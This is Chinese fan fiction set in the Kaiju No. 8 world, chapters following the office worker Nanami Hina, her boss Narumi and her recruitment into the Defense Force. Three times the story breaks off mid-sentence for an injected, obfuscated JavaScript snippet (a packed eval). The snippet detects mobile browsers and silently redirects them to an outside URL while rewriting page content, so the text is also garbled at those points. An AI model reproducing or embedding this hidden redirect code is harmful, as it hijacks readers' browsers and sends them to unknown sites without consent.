《[怪兽8号]内勤暴言(鸣海bg)》 3. 内勤暴言(3) 内勤暴言@wffh* 谁把烟屁股扔办公室垃圾桶了? 我烧你全家信不信! 07:44 dd/mm/yy twitter for web 在被称之为“怪兽大国”之前,日本国境内只有三所国立讨伐专科学校,并不对外招生,不属于义务教育范畴内,起初是在各个普通的中学里选拔一些身体素质还不错的年轻人,进行短期的训练而后加入消防或是警///察系统,以应对怪兽来袭的特殊情况。 东京讨伐高等学校的前身就是关东第一所讨伐专科,算是历史最为悠久的学校,综合偏差值甚至可以排到全国前三,超过了那些一般类高校。人们也将它看作是现今讨伐厅防卫队的人才储备学校,因此这所学校的毕业生在就业市场上通常都具有第一选择权,比很多本科毕业生都要吃香。 七海阳菜是为数不多从外地考来的学生,虽然关西也有地位不低的神户讨伐高校,但是考虑到怪兽基因研究这个课题,她硬是强行逼着自己通过了考试,毕竟除了超出常规的文化课考试,东京讨伐高校还有一轮极其非人道的体能加试。 他们似乎并不认可术业有专攻这样的说法,只坚持人才要均衡发展,所以无论是什么科系的学生,都要上得演武场下得实验室。回忆起那三年,七海只觉得像一场噩梦。 话都说到这里了,她并没有在噩梦中拥有强健的体魄,称病、逃课、作弊乃至找人替考,七海无所不用其极,幸好最终以满点的文化分拖着自己几乎为零的体能分,勉强爬过了毕业线。不过出云科技的招聘条件还算人性化,毕竟她高二实习的时候就已经拿到了内定。 至于那被当作机密数据的战力解放值,她是真的以为那会是能带进坟墓的秘密,毕竟这都什么年代了谁会想到讨伐厅还和学校之间保持联系,况且学校组织测试时也没有告诉学生本人结果,所有人只是被关进了实验室,没几分钟就集体解散了,根本没人当一回事。 说真的,百分之二十一,鸣海第一次都只有百分之二十二吧,亚白队长更是连百分之二十都没有。 因此这一刻,她看着那份跑路的同事打印出来的防卫队招考报名表,以及来自四之宫长官亲自盖章的推荐信,上面那“七海阳菜”几个字,她陷入了深深的沉思。 “原来防卫队也有内推制度……”七海咂了一下嘴,把东西一股脑儿推到一旁,完全没注意到有人进了办公室。 “长……长谷川副队长!”她连忙起身,手边的马克杯差点落地,她又伸手接住。 “反应速度不错。”长谷川夸赞道。 “副队长您也来调侃我了。”七海苦笑着看向别处。 “长官想让我问问你的意见,”长谷川瞥见文件上的章,“你在现在的岗位上做了这么多年,突然让你上一线确实有点委屈你。” “话也不能这么说……”七海低下头,她总不能说自己肩不能担、手不能提、耐力不如鼠、跑步像蜗牛、身体素质脆得像威化饼,怪兽打个喷嚏她就会下去见自己父母和大哥,这实话真的能说吗。 “别人不会理解,但我知道你会懂,我们在建设一个最强大的部队,想要让……”身材高大的长谷川副队长板着脸,“让怪兽从日本消失。” 沉默了一阵子,他再次开口说:“还是说为企业卖命才是你的理想?” 七海来不及找出一句足够有力的反击,长谷川副队长已经转身离开,整个办公室突然变得亮堂了起来,她走过去把门关上,憋着一股气开始对着空气胡乱打拳。 “我的命这么不值钱吗,我打工求财好吧,怎么出云科技是我老祖宗吗?” “你们防卫队有多弱啊,少了我一个就不能变成“最强大”了。” “就算我是千年难遇,那也得讲究个三顾茅庐吧,给了几个巴掌连一个甜枣都不给吗?” “我可没看过几部少年漫,‘宏大的理想’对我不起作用啊领导!” “再说了谁不希望怪兽消失,谁不想……” 她有气无力地蹲下来,呼呼喘着气。 自小就被这种“理想主义”包围着的七海阳菜,似乎很早就失去了对“使命感”的理解能力。 尽管她很少提起一些事,但这么多年来,常有人在看到她的名字时问及她的父母。当然了,女儿不仅继承了父母研发的项目,还成了试验成功的第一人,多么值得称道的美好故事。可如果那一天怪兽侵入市区时,爸爸妈妈没有为了工作而乘坐那辆前往东京的新干线,如果后来哥哥没有因为想要考入防卫队而选择离开京都,现在自己会过上什么样的生活。 没有“造福人类的基因研究”,也没有“我要成为强大的防卫队队员”,只有“爸爸妈妈我回来了”,还有“哥哥的数学又没及格”,这会不会是更好的选择。 事实却是,七海不敢告诉阳平,自己努力的学习与研究并不是为了父母的遗愿,也不是为了这个国家,她就是为了能让哥哥站起来。可好像虚构出一个不属于自己的使命,某种意义上也是对哥哥的温柔,至少在他的眼里,妹妹仍然是正义的角色,是符合他理想的存在。 只是虚构的使命承担久了,七海偶尔也会误以为这是真的,好像自己真的是站在历史节点上不可或缺的一环。 那可太傻了。 她的眼前突然出现了鸣海,那个总会笑着站上一线的人。 等等,真是鸣海弦。 “你什么时候进来的,”一直蹲着的七海向后摔倒在地上,“没看见门口贴着‘无关人士包括鸣海不得入内’吗?” “我问了好几遍能不能进来,你不是默认了吗?”鸣海毫不客气地拉开她的办公椅坐下跷起了二郎腿,训练服袖子被他挽起,手臂的肌肉清晰可见。 “谁说的不回话就是默认?”七海跪着正要爬起来。 “知道你很崇拜本人,但是这么大礼还是免了。”鸣海随手开始扒拉她的办公桌。 七海差点背过气去,上前就按住他的手:“鸣海队长,‘个人隐私’这个词没有学过吗?” “哎呀,这不算x骚扰吗?”鸣海笑着指了指已经半个身子趴上来的七海,“没关系,我能理解啦,毕竟我这么……” “七海前辈,样本的情况好像……对不起,我一会儿再来。”实验室的同事甚至关上了那扇原本是开着的门,然后快步冲回去提醒所有人,情况紧急千万别过来。 所以现在跑去御台场跳海还来得及吗,七海啪的一下关上抽屉,推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691730|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着办公椅将鸣海一块儿扔出了办公室门,自己则是迅速地反锁了门,两手叉腰,双眼紧闭,不然她觉得自己一定会爆炸的。 谁料那家伙居然就那么坐在了门前,一副“你不出来我不走”的架势,七海忍了半个小时,发现自己看不进文件上半个字,处理不了任何工作,投降似的拉开门,好声好气问了一句:“鸣海队长纡尊降贵,不辞辛苦,究竟所为何事啊?” “想问问你的态度啊?”鸣海举起那封四之宫长官的推荐信。 “你什么时候……”七海回身看了一眼乱糟糟的办公桌,然后一把抢了回来,“你不了解我的真实情况,这件事不可能的。” “什么真实情况?”鸣海一脸无所谓地说,“是说你从这里跑到我办公室都会累到脸红这种事吗?” “那你都知道我这么弱了,怎么还觉得我能通过招聘?”七海两手摊开。 “但是功叔说这样能给你一个部队编制诶。”鸣海露出了很自豪的表情。 “所以是你啊……”七海又深呼吸了一下,“我就说长官哪里来的空闲处理我这种小角色。” “那你想错了,功叔比我还要早知道你的情况,”鸣海站起身拉过七海坐回办公椅上,慢慢推着她进门,“我只是帮你争取了第一部队的编制。” “这么期待我送命?”七海昂起头倒过来看他。 “有我在,没人会送命。”鸣海低下头,两人视线想接,周围安静得要命。 “七海前辈这个数据真的……对不起!”门又一次被关上,门外传来,“哎呀,我都说他们没好了,都怪你们……” “我还是先去御台场跳海吧。”七海埋头去磕桌子。 “你记得报考理由上一定要写‘崇拜第一部队队长鸣海弦’,这很重要!”鸣海拍了拍她的肩膀,竖起大拇指。 被某人折腾浪费掉了一个上午,七海又被迫加班到了晚餐时间结束,看着熄了灯之后黑漆漆的食堂,她在心里大喊上天不公,凭什么外勤不管几点收工都有加餐,内勤只能被关在门外。 垂头丧气晃进电梯里,她庆幸宿舍冰箱里大概还有之前来栖组长老家寄来的苹果,真羡慕有家可回的人,她长叹一口气。 昏暗的房间里,七海缩进老式的扶手椅中,抱住了那件洗到发白的冲锋衣,背后印着户冢建设,胸前绣着七海阳平,她悄悄地说:“哥哥,如果能进防卫队的人是你就好了。” 时间过去了一天由一天,在报名截止的前一日,七海将纸质报名表塞进了档案袋,送到了队长办公室,她对长谷川副队长说:“麻烦您了。” 见七海离开了办公室,在角落打着游戏的鸣海起身走过来,平日里从不关心公务的人十分热心地主动抽出了表格,正要签名时却停住了动作:“松本基地?” 长谷川一脸谨慎:“你要做什么?” 第四部队的绪方队长擅长培养侦察型的部队,所以体能不足的七海选择那里是个不错的选项,长谷川也认可她的想法。 “当然是……”鸣海在报考基地那一栏画了两道杠,然后重新写上“有明临海基地”,接着十分满意地签上自己的大名,盖上部队公章。 她会杀了你的,长谷川屏住呼吸,没把这句话说出口。 4. 内勤暴言(4) 内勤暴言@wffh 我不想挤地铁去送文件。 但是那点计程车费报销额是在和我开玩笑吗? 抢了同事车钥匙赶紧跑路 14:44 dd/mm/yy twitter for web 由于频繁的怪兽来袭,在近二十年内迅速发展成国内最大企业的除了背靠讨伐厅的出云科技之外,便是几乎负责了境内百分之六十的房屋重建需求的户塚建设。实际上,在此之外还有一个行业在悄无声息地跃出历史舞台。 距离现在差不多十五六年前,考虑到怪兽残骸与各类排泄物有可能引发的种种感染问题,官方成立了特别部门进行善后处理,长时间超负荷的工作量引起了部门工作人员的不满,许多人认为自己通过公开招聘拿到了正式编制,承诺的是研究岗位,为什么待遇与研发部门的人差距这么大。 爆发了一次相当规模的罢/工/集/会后,善后处理部门众人同上级提出工作外包的想法,这个时代逐渐转型的综合家政公司有许多,他们的专业程度足以承接这类大型业务。同时伴随着怪兽基因研究逐渐民间化的倾向,善后处理部门也由此发展成了一个协调部门,风波便如此平息。 七海刚上高中那年,她就在一家专职清理的公司兼职过,工作地点离学校很近。高中生打工并不少见,但她的同学们基本上都是在家庭餐厅端盘子,也有在拉面店后厨忙活的,饮食行业的时薪对他们来说比较有性价比。 这类公司大多是接急单的,也就是事件发生后的二十四小时内,善后处理部门会将单子派出,拥有清理资格证明的公司便可以自行选择接单。 她起初是负责抢单工作的,没错,一日内勤一生内勤。不过也没有做太久,主要是因为清洁队里太缺人手了,老板将抢单工作也放进了排班表里,由不用出单的同事兼任。 整个工作流程是,接单出车,勘察场地进行估价,分工开始清洁,最后进行分类回收。这一步很重要,除了官方及出云科技这样的大公司,一些民间企业也会收购部分残骸,虽然有钻法律漏洞的嫌疑,但所有人都是这么做的,便成了行业内部不可说的回本路径。 出于对兼职学生的照顾,七海通常会被排在周末待命出车。工作日的话,每日四点之后到六点,她凭借过硬的专业知识,在解体怪兽核心的工作上得心应手,虽然在学校里已经有足够时间的解剖课程,但课后她仍然愿意多学一点。 也是因此,老板原本是按小时给她结工资的,不久之后就改成了固定月薪,一门心思想着要是七海能毕业后留下的话,一个人能顶三个人用。事与愿违,兼职了十三个月以后,七海在一次比赛中脱颖而出拿下了出云科技的实习名额,从此离开小公司,奔向了大企业的怀抱。 以上讲述来自Monster Sweeper品川分区负责人,与七海阳菜本人无关。 其实她倒没有很不喜欢那段日子,只是时薪确实没有高到可以忍受那股子恶臭,公司不顾人手什么单子都接也让人很头痛,可为了生活下去,她还是坚持了很长时间,毕竟阳平发生意外之后,家里的开销一下就变得很紧张。 同事中有一个人很不错的前辈,他和阳平的年纪差不多,性格也很像,做什么事情都很有干劲的样子,刚开始兼职时他手把手教了她很多事,看到七海为了省钱总是不吃晚饭,会主动带饭团分给她。 七海记得前辈常说:“长身体的年纪要多吃啊!” 那时候他连着递来两个饭团,笑着说:“虽然你已经很高了,但是太瘦了,多吃!” “日比野前辈你是我邻居的大叔吗?”并不太习惯接受别人好意的七海总是会别扭一番,然后才收下。 现在回想起来,她也觉得前辈人确实不错,就是酒量不太好,很容易哭。 比如说,此时此刻。 “我和你说啊,七海,我今年要是再……呃要是再考不过,我这辈子都没机会了!”日比野卡夫卡把啤酒杯哐当放在桌上,眼眶里好像已经含着泪光。 “去年你也说了一样的话的,前辈,冷静一下。”七海抽出纸巾按在日比野脸上。 同桌坐着的那位年轻小哥,今天她跟他是第一次见面,出于礼貌她开口问道:“市川君身体没有问题了吗?” 前段时间发生了未清理的余兽暴动的意外,结果没有及时跟车离开的日比野和市川双双受伤入院,这还不是全部,当晚医院又被超级别怪兽袭击,他们住的病房都被砸得稀巴烂,而神奇的是两个人竟然毫发无伤地回来了。 七海从第三部队内勤那里听说这件事的时候吓得说不出话,如此惜命的人听不得这么刺激的故事,所以这次借送报告回出云科技的机会,她给日比野打了电话,想着顺路一起吃个饭。 听到这句关心,市川坐直身子回答道:“已经都恢复好了,下周还要和前辈一起参加选拔的初试。” “呜——考不过的话呜呜——”一坐下就连喝两杯的日比野,趴在桌上对着一盘煮毛豆开始大哭,七海无奈地把自己那盘也推给前辈,她想这家伙看来已经没办法参与正常的对话了。 市川也看了一眼日比野,他大概是第一见有人喝完酒是这个模样,虽然有点不知所措,看起来还憋了一肚子的吐槽,但良好的家教与品格让他忍了下去。 “让他哭完就好了,”七海准备帮市川的杯子里添点烧酒,“前辈看起来没什么心眼,其实压力还挺大的。” “抱歉我还不满二十岁,”市川躬身双手盖住杯子然后说,“这个我也知道的……”说着低下了头,好像有什么话藏在这之后似的。 “我听说年龄线放宽的时候还没出正式的公告,所以就先把消息告诉前辈了,他还说要放弃了,”七海托着腮,脸上隐隐浮现一点笑容,“幸好他没有。” “七海小姐也要考防卫队吗?”市川问道。 似乎没料到这年轻人会直接问出口,七海清了清嗓子,开口说:“这个事情……稍微有点复杂。” 她也不能说自己前有岌岌可危的存款余额,后有被拖欠几个月的奖金绩效,头顶上还有讨伐厅一把手给的催命符,不对,推荐信。 同时,门外还有一个阴魂不散的讨债鬼。 “不过总的来说是因为一个字。”她点点头。 “一个字?”市川疑惑。 “钱。”她用手比划出一个圆,“上年纪你就知道了,这很重要,哦,记得给自己多买几份保险。” 七海长叹一口气,喝掉杯子里的酒继续说:“毕竟人生无常啊。” 到了后半夜,居酒屋里变得更忙碌了,大哭完又睡了一觉的日比野睁开了眼,这会儿七海和市川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691731|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经又吃完一轮主食加烤串,她还添了两瓶烧酒。两个家伙一个困得倚着墙沉沉睡去,一个耷拉着眼皮子眼神完全不聚焦。 账单上的数字看着太过肉痛,日比野的酒彻底醒了,他数着钱包里剩余不多的钞票,接过店家给的小票,尴尬地走回桌旁拍醒熟睡的市川,然后扶起喝多了的七海,艰难地挪向门口。 打了几个呵欠的市川和日比野挥了挥手,踉踉跄跄往另一个方向走,日比野伸手揽过七海的腰,把差点瘫地上的人捞起来,想着她开来的车应该还在停车场,要不帮她找个代理驾驶,可空荡荡的钱包提醒他这么做太奢侈了。 谁料还没拐进停车场入口,路灯下站着的一个陌生男人向这里投射来了一股强烈的杀意,一开始日比野觉得是自己的错觉,但是随着距离变近,他确定了那个男人八成就是冲着自己来的。 “我……我们是认识的,她以前是我的同事,我真的没有在做坏事啊——”日比野慌忙解释。 男人似乎完全没听他在说什么,径直朝他们走来,日比野这下才稍微警惕了一些,因为那人伸手就准备碰靠在自己肩头的七海。 “等等,你是谁?”日比野向后退了好几步,站不稳的七海差点倒在地上。 “我没必要跟你解释,”男人的长刘海遮住了脸,看不到表情,说着又来拉七海的手,“我是那辆车的主人。” 就这样站在两个人中间的七海总算是找回了一点自己的意识,她推了推滑下来的眼镜,皱起眉头,先甩开了日比野的手,然后凑近那个陌生男人,甚至就要贴上他的鼻尖了。她突然手啪的一拍他的脸颊,轻哼了一声:“哈,讨债鬼,鸣海。” “七海,七海,七海,你认识他?”日比野走过来瞪大眼睛问。 七海转过身,用力点了点头:“来前辈我介绍你认识一下,我的倒霉上司,防卫队第一部部队鸣……” 没说完男人便伸手捂住了她的嘴,又用满是杀意的眼神看向日比野:“现在我能带着她和我的车走了吧。” “哦,好……好的。”日比野将七海的背包挂在男人手臂上,走开了几步,又不放心地停住脚步躲到角落一直看着,平日里看着拒人千里之外的七海,正紧紧攥着那人的袖子,跟在后面慢慢走着。 “你知道我打了多少通电话吗?”男人说道。 “谁想接啊……”七海嘀咕着,两手去摸车门,扒了半天打不开。 “车钥匙。”男人拿手在她眼前晃了晃。 “给你,”七海从上衣兜里拿出那串挂着公仔的钥匙,“多大人了还挂这么大的挂件。” “要你管!”男人一把抢过,按下解锁,本想直接推她进车,但动作犹豫了一下,他弯下腰两手扶过她的肩膀,还钻进去替她扣上了安全带。 见到车慢慢驶远,日比野松了一口气,准备去找个地方待着,等首班地铁发车。 身体好像在无止尽的深渊中下坠,惊叫着醒来,七海觉得自己头好像要裂开了,呼吸有些难受,她喘着粗气眼前一片模糊,伸手到处摸,想要找到自己的眼镜,但是手碰到了软绵绵的东西。 不对,这是□□。 下一秒,重重的一胳膊砸在她身前,七海挪动了两下,完全动弹不得,她听到耳旁传来熟悉的男声。 “好吵,今天是周六,让我睡觉……” 5.内勤暴言(5) 内勤暴言@wffh 上过班的还能烟酒不沾一定修过仙吧! 我今年一定要戒酒 09:12 dd/mm/yy twitter for web 如果要问整个第一部队中到访队长鸣海弦办公室次数最多的人,那一定是长谷川副队长。出于一些众所周知的原因,他几乎负责了队长办公室所有的行政业务,同时包括队员考核及密件签署。而明面上的一把手鸣海从某种层面上来说,其实是讨伐厅的门面之一,是民众心目中毫无疑问的怪兽克星,和亚白米娜并称新世代最强。 当然,鸣海本人非常讨厌这个并列的关系。 总而言之,他存在的价值,除了上阵保卫东京,更多的还有明星效应,或者用七海常用的那个说法——吉祥物。 其他人之所以极少去他的办公室,一是因为他并不能正常处理工作,所以不如去敲隔壁长谷川的门,二是基本上没有人能在他那间屋子成功待着超过半小时,到处堆满了快递箱,地上摆着泡面碗,常年拉着窗帘,唯一亮着的只有游戏机显示屏,并且训练服、制服、常服各种衣服随意扔在角落。至于那张象征着队长位置的办公桌,大家已经很久没见过它的全貌了。 那里也不是一开始就是这样的,至少在四之宫长官还在部队的时候,当时鸣海只是队员一枚,没有固定工位,倒是有间单独宿舍,就在七海现在住的房间对面。不过没两年,四之宫就一路被提拔到讨伐厅高层,第一部队就此姓了鸣海。 话又说回来,即便需要时刻待命,部队队长其实并不在外勤排班表上,平日里照常收工离开就行。所以鸣海在港区其实有一间单人公寓,离有明基地驾车不超过二十分钟,是讨伐厅安排的住所,每个部队队长都会有,亚白米娜的就在市区内,而且还是一间顶层公寓。 不过这些年来,鸣海除了让这间公寓在自己的推特上出现过几回(以干净且时髦的样子),他每年大概只在跨年放假的时候住几天,因为那时候基地食堂会放假,办公区域天黑后也会断电,他没办法自由玩游戏,只好找其他地方呆着。 至于剩下的三百多天,鸣海则是在办公室安营扎寨,坚守着一种真正的“我把单位当成家”的态度。 话题扯远了,此时此刻,周六早晨八点二十分,七海阳菜意识到她并没有在自己昏暗小房间里的那张扶手椅上醒来,而是被包裹在了一堆快递箱之间,身旁躺着没穿好上衣的上司。 她很希望闭上眼再睡过去,然后发现这其实是个噩梦,但是平躺下的不安与恐惧感太真实了,她甚至记不起自己上一次在床垫上睡着是什么时候。 作为整个基地唯二拥有处理鸣海办公室内杂物的权力的人,七海很清楚自己躺下的这块区域内曾经爬过什么,蟑螂大概只是最基础的,她发誓自己曾在角落见过老鼠散步,而且还是一家子。 醒悟到这一点之后,她猛地推开了鸣海放在自己身前的胳膊,尽管那家伙用了不小的力气反抗,但求生欲给了七海额外的力量,她一脚将对方踹离床垫,看着鸣海被倒下的快递箱子淹没,而后一个鲤鱼打挺坐起身,但她实在不愿在混沌之中寻找自己的眼镜,只好第一反应确认自己的衣物,第二反应抓过掉在门前的外套,连忙穿上然后落荒逃跑。 今日值班的东云刚在楼层打完卡,她抬头就看见神情憔悴、头发凌乱的七海从那间办公室探头走出来,接着高度近视的人像个睁眼瞎一般在走廊上摸着墙缓慢行走,压根没能注意到这里还有另外一个人。 本着心善的原则,东云决定不开口吓唬她,可本着好奇领导八卦的天性,东云轻手轻脚走过去将门拉开一条小缝,光着上身的鸣海四仰八叉睡在地板上,左手上抓着的正是七海的眼镜。 东云好想大声喊出来,并告诉自己见到的每一个人:“你们绝对不敢相信我看到了什么!” 但最终她只是拿出手机留下了决定性的证据照,等下次有空闲时,要把七海所有的秘密都扒个干净,当然,是关于鸣海的那些。 幸好这条走廊在对七海来说已经是烂熟于心,她半瞎着摸到了自己的办公室门,找到了抽屉里的备用眼镜,瞬间这个世界都清晰了,她松了一口气瘫坐在椅子上,只是身上的酒气实在难闻。 等等,酒…… 昨天确实是和日比野前辈在居酒屋来着,还有市川那个小朋友,后来是怎么回来的。酒精影响了人的大脑,她毫无疑问是断片了。 那就切换到另一个角度来看这件事,鸣海发现自己那辆功叔淘汰下来的马自达不知被谁开走的时候,是昨晚八点,说实在的他连车钥匙在哪里都不是很清楚,他只是想回公寓拿之前放在那里的游戏手柄,因为自己手上那副刚巧寿终正寝了。 于是他决定去问七海,只有她对自己那些乱七八糟的东西了如指掌,谁让她曾经被一窝老鼠刺激到帮他打扫了整间屋子。见七海办公室大门紧闭,隔壁实验室在值班的研究员说她下午去出云科技送报告了,说是今晚不准备回来,所以让人帮忙锁了门。 “她坐地铁去的?”鸣海问。 “前辈好像借了谁的车,钥匙上挂着一个特别夸张的公仔。”研究员老实回答。 “原来小偷在这里……”鸣海一边念叨着,一边打开手机查自己车的定位,公派车就这点好,进出总是有痕迹。 这时候继续快进,就到了鸣海从那个一脸窝囊的大叔手里抢过七海的画面,再快进一下,就到了醉酒的七海熟睡在副驾驶的画面,最后快进一下,就是鸣海将她扛在肩上打开宿舍门又看到了那张孤零零的扶手椅的画面。 “这家伙到底是在怕什么才睡不着啊?”鸣海嘟囔着,放弃扔下正在梦呓喊着阳平的她就离开的想法,一路把她扛回了自己那里。 鸣海自认绝不是什么不合格的男人,他甚至把被单翻了一面才让七海躺下,可怜了自己最喜欢的T恤被她的眼泪鼻涕蹭得没办法继续穿,脱了扔到一边,他见她在发着抖,只好弯腰给她盖上被子。原本想着继续通宵打游戏,然而游戏手柄还没拿来,都怪七海,他心想着。 长叹一口气,鸣海在床垫边坐着,而裹着被子的七海仍然在发抖,他其实很清楚她是个只有嘴硬的人,无论别人提出点什么要求,她大概率都会满足。不过他还是不理解她战战兢兢的模样,有什么可害怕的,难道真的这么怕死吗? 明明没多少存款,居然都拿去买了保险,七海阳菜简直是全基地最惜命的。 “想不通。”鸣海自言自语着,犹豫了一阵,最后他拿过她的眼镜,掀开被子将发抖的人抱紧了,伴随着逐渐平缓的呼吸声,七海终于不再害怕了。 后来断了片的七海并没有找回那段消失的记忆,她在脑子里假设了很多种可能会出现的场景,那之中最严重的一种就是自己被上司睡了,或者是自己睡了上司,不过很快就被她否决了,她觉得她还没有饥不择食到这个地步,鸣海大概率没有垃圾到这个地步。 应该吧,那家伙有喜欢过立体的异性吗? 七海愣住了。 出于一种逃避现实的心态,这个周末两天她都躲在宿舍,又同时出于一种报复的心理,她拿出了之前从鸣海那里收缴的一台游戏机,用他的账号通关了所有关卡,她非常清楚那家伙会露出什么表情,没有比这个更狠的反击了。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711371|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早晨,她踩着点推开办公室的门,自己失踪的眼镜出现在了桌上,那下面垫着一张即将开始的防卫队选拔考试日程表。她走上前抽出那张纸,谁会这么好心帮自己打印,扫了一眼时间和安排,原来业务课笔试只有一门,隔两周就出复试名单,那就等结果出来再去出云科技提辞职吧。 报考岗位是第一部队…… 谁? 第一部队? 我? 七海确信自己在考生姓名那一栏看到了七海阳菜四个字,努力回忆把档案袋交给长谷川副队长时的那天,办公室里角落里那个人,那个她原以为一直趴着在玩手机的家伙,他的脸上,没错,他在笑。 这还真是太容易推理出真相了,七海倒吸一口凉气,她从电脑的黑屏中也看到了自己的脸,自己这时候也在笑,不过是咬牙切齿的,感觉她下一秒就会把屏幕砸碎。 此时她口袋里的手机震动了两下,还没来得及拿出来看一眼,基地的警报声也响了起来,想必是又有情况了,安静的走廊突然就变得热闹起来,七海悠闲地倚着办公室的门,看见东云和其他队员们一边奔跑着一边在通讯器里喊着来栖组长的名字。 “七海!”长谷川的声音从另一头传来。 “到!”七海站直了身子。 “来栖今天带队去总部来,你和我一起去指挥室!”长谷川大步流星朝她走来,完全没有给她反应的时间。 小跑带爬地好不容易追上了副队长,七海到达指挥室时已经满脸通红在喘着粗气了,她努力呼吸着,看着来栖组长平日里坐着的椅子,心想着这到底什么部队,这种地方地方都能让编外人随便进来。 听着心脏砰砰直跳的声音,七海又长舒一口气,开始麻利地调整系统设备,无人机先行出发了,监控屏幕上出现了怪兽的身影,她按了一下通讯键:“东云小队注意,此次怪兽等级为5.0,余兽数量不明,痕迹遍布台场海滨至有明网球公园,建议将战场控制在富士台以西。” “了解,”正在路上的东云回复道,“果然七海还是很专业的嘛,难怪队长非要你留下。” “东云前辈这是公用频道哦。”旁边有另一个人开了口。 “所以七海真的要进第一部队吗?”这时候又有人插话。 “我说她能进,她就能。” 这是鸣海的声音。 七海回过头去,看到了装备完全的鸣海弦,这个等级的怪兽一般不需要他直接上前线,同一时间通讯器里传来了几声“抱歉鸣海队长”,然后双向通道就被暂时关闭了,七海觉得那群人肯定要在车里继续聊了。 尽管七海知道目前肯定是怪兽更重要,但一想到自己的报名表被窜改了,她现在特别想抓着鸣海的头发,让他下跪谢罪,尤其他还在同事面前露出了一副“对亏了我”的模样,他不会觉得自己做得很好吧,不会还想要自己感谢他吧。 长谷川副队长不知道是不是看出了七海就快要发作的怒意,他走到她身后,稍稍弯腰低声说着:“来栖很快会调回总部,我们的意思是让你留在这儿。” “用外勤的编制?”七海发问。 “我也不想你考上之后真送命啊……”长谷川叹气,用他自己能听见的声音又自言自语,“那家伙会疯吧。” 见七海没再回话,他便轻轻一拍她的肩膀:“你就当是曲线救国进研究室。” 警报灯变成了橙色,一头超过8.0级的怪兽登陆,七海大喊:“鸣海!” “知道了,”鸣海神态轻松,“我去去就回。” 她从监控屏幕里望着他的背影,脸上再次出现了笑容,因为她知道他真的会回来。 6.内勤暴言(6) 内勤暴言@wffh 骑车送装备上前线,肩膀快脱臼了。 所以我是个内勤和我在出外勤冲突吗(眼神死) 勺子都拿不稳了我想申请工伤 18:47 dd/mm/yy twitter for web 巨型怪兽本就少见,偏偏碰上鸣海的装备失常,七海先在心里狠狠自责,而后又带着点不满瞪着监控下的鸣海,他从来就没有一次完整写过装备使用报告,对接的研究员久而久之也偶有疏忽,甚至七海都盲目相信了出云科技的出品质量,没有进行定期的装备复检查。 “出什么问题了?”长谷川向前走了一步。 七海微微皱眉,她看鸣海故意用肩膀顶住,而后连开两枪都没能直接打中怪兽的核,在海中咆哮的怪兽猛烈拍打着水面,巨浪掀起盖过了紧急封禁还没撤离完全的彩虹大桥,好在台场海滨的民众已经退到电车站内。 腾不出空闲回答长谷川副队长的问题,七海按下通讯器:“是瞄准器还是稳定器?” “稳定器。”鸣海立刻回答,“我需要想办法离它近一点。” “不行,一旦靠近彩虹大桥,伤亡数量太不可控了。”长谷川接话,然后低头问七海,“有备用装置吗?” “有倒是有,但那是个试验品,最远调试距离是两公里。”七海说。 “不管那是什么,七海你给我送过来!”鸣海大喊一声,震得整个控制室内的人都被吓到了。 “你有摩托车驾驶证吧?”长谷川摸出口袋里的钥匙,根本没等七海给出反应,将她整个人从椅子上提了起来,然后招手让后排的一个研究员上前继续监测怪兽情报。 就算不能派直升机,至少也给辆四个轮的车啊。 她提着装备箱看着停在基地楼下那辆机车,肉眼估算了一下距离,长谷川副队长不会真的觉得她能跨上这个,然后顺利穿过被堵在封禁区域外的车流,给鸣海送上武器吧。 “七海!” 通讯器里再次传来鸣海的声音。 “知道了!” 算了,咬咬牙就撑过去了,七海插上钥匙,踮着脚跨上机车,用脚后跟将支架踢上去,亏得七海家给了她手长脚长的基因,否则她连车把手都不一定够得着,把装备箱死死绑在背上,她一拧油门冲出基地大门。 此刻的长谷川在监控室内,冷静地询问:“战力解放大约是多少?” “报告副队长,七海阳菜此时的战力解放值是百分之四十四,预计在八分钟内即可到达队长的位置。” “四之宫长官看人还是很准。”长谷川欣慰地点头,看那辆改装机车在车辆缝隙间穿梭,像是一阵风似的。 也许是错觉,七海在经过高架时意识到了自己的车速绝不是面板上显示出的数字,并且她的注意力越是专注,行驶得就越快,她逐渐听不到风声,整个人仿佛突破了阻力。 不对,这是防卫队的行动佩车,但不是出云科技制造的,所以她一眼没能识别出。她越来越觉得部队里所有人在某些特殊时候都和鸣海一样,全都是疯子。她在脑海里咆哮着,接着一路撞破禁区封锁带,强行漂移停在了草坪上,自己整个人被车甩出去了好几米。 “好想趴在这里一动不动。” 七海跪在地上自言自语的同时,手上已经解开了背带,她将远程调试器打开,然后麻利地将SR-00148组装好,这是当年鸣海的专用装备设计备案中在终选才被淘汰的一个项目,所以才有了完整的试验品。 